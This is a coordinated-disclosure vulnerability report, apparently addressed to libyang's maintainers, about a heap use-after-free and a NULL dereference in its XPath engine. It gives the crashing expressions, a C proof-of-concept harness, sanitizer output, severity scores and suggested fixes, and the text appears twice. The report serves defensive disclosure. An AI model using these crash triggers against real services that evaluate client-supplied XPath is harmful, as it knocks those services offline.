Summary
Two memory-safety issues in src/xpath.c, both reachable from an XPath expression evaluated
against a data tree, both present at HEAD (47351e59e296). Reporting them together because they
sit in the same file and the same subsystem.
- Heap use-after-free —
eval_name_test_scnode_no_match_msg, from realloc invalidation.
- NULL pointer dereference —
set_comp_canonize → lyd_value_validate3.
The first is the more serious of the two.
1. Heap use-after-free via realloc invalidation
A 20-byte expression frees a buffer and then reads through the stale pointer:
The parent:: step must name a schema node that does not exist. Naming one that exists is
clean — that is the entire difference.
freed by : realloc <- ly_realloc src/ly_common.c:1197
<- lyxp_set_scnode_insert_node src/xpath.c:1393
<- moveto_scnode src/xpath.c:6905
<- (nested) lyxp_atomize src/xpath.c:10248
<- eval_name_test_try_compile_predicate_append src/xpath.c:7928
read by : eval_name_test_scnode_no_match_msg src/xpath.c:8306
READ of size 4
While compiling a predicate, a nested atomization pass inserts schema nodes into
set->val.scnodes, and lyxp_set_scnode_insert_node grows that array with ly_realloc(). An
outer frame is still holding a pointer into the old allocation and dereferences it after the array
has moved.
The "no match" diagnostic is only where the stale pointer is read — the invalidation happens
earlier, so a guard at line 8306 alone may leave other consumers of the same cached pointer
exposed. We did not enumerate them.
2. NULL pointer dereference
A 6-byte expression:
Every comparison operator works (> < = != >=). />t:top/@* — a named child step instead
of a wildcard — is clean.
/* src/xpath.c:1725 — set_comp_canonize() */
r = lyd_value_validate3(xp_node->node->schema, set->val.str, strlen(set->val.str), ...);
/* src/tree_data_common.c:633 — lyd_value_validate3() */
ctx = schema->module->ctx; /* SEGV: schema is NULL */
One precondition that is easy to miss: the schema must contain a leaf of a type requiring
canonization. set_comp_canonize early-returns for string, boolean and enumeration, so a
string-only schema never reaches line 1725. Our reproducer uses leaf num { type int32; } — an
earlier version with only string leaves did not reproduce at all.
Proof of concept
Both reproduce standalone against a stock release build (CMAKE_BUILD_TYPE=Release,
-DNDEBUG), using only public API. Each runs a control first that differs from the trigger in one
token.
#include <stdio.h>
#include <string.h>
#include <libyang/libyang.h>
static const char *SCHEMA =
"module t {\n"
" namespace \"urn:t\";\n"
" prefix t;\n"
" container top {\n"
" leaf name { type string; }\n"
" leaf num { type int32; }\n" /* required: forces canonization */
" list item {\n"
" key \"id\";\n"
" leaf id { type string; }\n"
" leaf value { type int32; }\n"
" }\n"
" }\n"
"}\n";
static const char *DATA =
"{\"t:top\": {\"name\": \"alpha\", \"num\": 7,"
" \"item\": [{\"id\": \"a\", \"value\": 1}, {\"id\": \"b\", \"value\": 2}]}}";
static struct lyd_node *tree;
static void try_expr(const char *expr, const char *label)
{
struct ly_set *set = NULL;
ly_bool b = 0;
printf("%-8s %s\n", label, expr);
fflush(stdout);
printf("%-8s find rc=%d\n", label, (int)lyd_find_xpath(tree, expr, &set));
if (set) ly_set_free(set, NULL);
printf("%-8s eval rc=%d\n", label, (int)lyd_eval_xpath(tree, expr, &b));
fflush(stdout);
}
int main(int argc, char **argv)
{
struct ly_ctx *ctx = NULL;
ly_log_options(0);
if (ly_ctx_new(argc > 1 ? argv[1] : "modules", 0, &ctx) != LY_SUCCESS) return 2;
if (lys_parse_mem(ctx, SCHEMA, LYS_IN_YANG, NULL) != LY_SUCCESS) return 2;
if (lyd_parse_data_mem(ctx, DATA, LYD_JSON, LYD_PARSE_STRICT, LYD_VALIDATE_PRESENT,
&tree) != LY_SUCCESS || !tree) return 2;
/* Each issue aborts the process, so pick one per run:
* ./repro <modules> uaf -> issue 1
* ./repro <modules> null -> issue 2 */
const char *mode = (argc > 2) ? argv[2] : "uaf";
if (0 == strcmp(mode, "uaf")) {
try_expr("item[id=//parent::top]", "CTRL-1"); /* node exists -> clean */
try_expr("item[id=//parent::u]", "UAF"); /* node absent -> use-after-free */
} else {
try_expr("/>t:top/@*", "CTRL-2"); /* named child step -> clean */
try_expr("/>*/@*", "NULLDEREF"); /* wildcard -> SEGV */
}
printf("reached the end without crashing\n");
return 0;
}
Build and run (pass the path to libyang's modules/ directory):
clang -g -O1 -fsanitize=address -I libyang/src -I build -I build/src \
repro.c build/libyang.a -lpcre2-8 -lm -o repro
ASAN_OPTIONS=detect_leaks=0 ./repro /path/to/libyang/modules uaf
ASAN_OPTIONS=detect_leaks=0 ./repro /path/to/libyang/modules null
Each issue aborts the process, so the two are selected separately. Observed:
CTRL-1 item[id=//parent::top]
CTRL-1 find rc=0
CTRL-1 eval rc=0
UAF item[id=//parent::u]
ERROR: AddressSanitizer: heap-use-after-free
READ of size 4 ... eval_name_test_scnode_no_match_msg src/xpath.c:8306
and:
CTRL-2 />t:top/@*
CTRL-2 find rc=3
CTRL-2 eval rc=0
NULLDEREF />*/@*
ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000000008
lyd_value_validate3 src/tree_data_common.c:633
Impact
Both are denial of service against a process that evaluates an attacker-influenced XPath
expression. We scored the use-after-free 4.4 Moderate
(AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L) and the NULL dereference 3.3 Low.
What we are not claiming: no code execution, and no controlled write. The use-after-free is a
4-byte read and we did not investigate whether the freed slot can be steered. Realloc
invalidation is a write-capable pattern in general, so if that matters to your assessment it is an
open question rather than an assertion.
A question rather than a claim: we scored these as local because our harness evaluates XPath
directly. If a NETCONF/RESTCONF server passes client-supplied XPath filters through to
lyd_find_xpath, the reachability would be remote and the score higher. We did not test any
NETCONF server, and you maintain sysrepo and netopeer2 — so you are far better placed to judge
that than we are.
Affected versions
Both present at HEAD 47351e59e296.
- Use-after-free:
eval_name_test_scnode_no_match_msg is present in every tag we checked —
v3.12.2, v3.13.6, v4.2.2, v5.4.9, v5.8.6. We found no unaffected release, so we are not
claiming a lower bound.
- NULL dereference: the vulnerable call is present in v4.2.2, v5.4.9 and v5.8.6, and absent in
v3.13.6. We could not retrieve v4.0.0/v4.1.0 tags, so the exact introducing release is
unknown to us.
Suggested fixes
- Use-after-free — re-read the element from the set after any call that can grow
set->val.scnodes, or hold an index rather than a pointer across the nested atomization.
A guard at the read site alone may not be sufficient.
- NULL dereference — check
xp_node->node->schema before line 1725.
We are happy to send patches if that would be useful, but would rather not open anything
unsolicited — just say the word.
Disclosure
No deadline from us; we will follow your timeline. If you publish an advisory we would appreciate
being credited, but the fix matters more.
Found with a purpose-built fuzz harness targeting the XPath engine — libyang's three in-tree
fuzzers (lys_parse_mem, lyd_parse_mem_xml, lyd_parse_mem_json) do not evaluate XPath
expressions, so this surface was not reachable from them. Analysis and drafting used AI assistance
(Anthropic Claude); every claim above was verified by running it.
Summary
Two memory-safety issues in
src/xpath.c, both reachable from an XPath expression evaluatedagainst a data tree, both present at HEAD (
47351e59e296). Reporting them together because theysit in the same file and the same subsystem.
eval_name_test_scnode_no_match_msg, from realloc invalidation.set_comp_canonize→lyd_value_validate3.The first is the more serious of the two.
1. Heap use-after-free via realloc invalidation
A 20-byte expression frees a buffer and then reads through the stale pointer:
The
parent::step must name a schema node that does not exist. Naming one that exists isclean — that is the entire difference.
While compiling a predicate, a nested atomization pass inserts schema nodes into
set->val.scnodes, andlyxp_set_scnode_insert_nodegrows that array withly_realloc(). Anouter frame is still holding a pointer into the old allocation and dereferences it after the array
has moved.
The "no match" diagnostic is only where the stale pointer is read — the invalidation happens
earlier, so a guard at line 8306 alone may leave other consumers of the same cached pointer
exposed. We did not enumerate them.
2. NULL pointer dereference
A 6-byte expression:
Every comparison operator works (
><=!=>=)./>t:top/@*— a named child step insteadof a wildcard — is clean.
One precondition that is easy to miss: the schema must contain a leaf of a type requiring
canonization.
set_comp_canonizeearly-returns forstring,booleanandenumeration, so astring-only schema never reaches line 1725. Our reproducer uses
leaf num { type int32; }— anearlier version with only string leaves did not reproduce at all.
Proof of concept
Both reproduce standalone against a stock release build (
CMAKE_BUILD_TYPE=Release,-DNDEBUG), using only public API. Each runs a control first that differs from the trigger in onetoken.
Build and run (pass the path to libyang's
modules/directory):Each issue aborts the process, so the two are selected separately. Observed:
and:
Impact
Both are denial of service against a process that evaluates an attacker-influenced XPath
expression. We scored the use-after-free 4.4 Moderate
(
AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L) and the NULL dereference 3.3 Low.What we are not claiming: no code execution, and no controlled write. The use-after-free is a
4-byte read and we did not investigate whether the freed slot can be steered. Realloc
invalidation is a write-capable pattern in general, so if that matters to your assessment it is an
open question rather than an assertion.
A question rather than a claim: we scored these as local because our harness evaluates XPath
directly. If a NETCONF/RESTCONF server passes client-supplied XPath filters through to
lyd_find_xpath, the reachability would be remote and the score higher. We did not test anyNETCONF server, and you maintain sysrepo and netopeer2 — so you are far better placed to judge
that than we are.
Affected versions
Both present at HEAD
47351e59e296.eval_name_test_scnode_no_match_msgis present in every tag we checked —v3.12.2, v3.13.6, v4.2.2, v5.4.9, v5.8.6. We found no unaffected release, so we are not
claiming a lower bound.
v3.13.6. We could not retrieve v4.0.0/v4.1.0 tags, so the exact introducing release is
unknown to us.
Suggested fixes
set->val.scnodes, or hold an index rather than a pointer across the nested atomization.A guard at the read site alone may not be sufficient.
xp_node->node->schemabefore line 1725.We are happy to send patches if that would be useful, but would rather not open anything
unsolicited — just say the word.
Disclosure
No deadline from us; we will follow your timeline. If you publish an advisory we would appreciate
being credited, but the fix matters more.
Found with a purpose-built fuzz harness targeting the XPath engine — libyang's three in-tree
fuzzers (
lys_parse_mem,lyd_parse_mem_xml,lyd_parse_mem_json) do not evaluate XPathexpressions, so this surface was not reachable from them. Analysis and drafting used AI assistance
(Anthropic Claude); every claim above was verified by running it.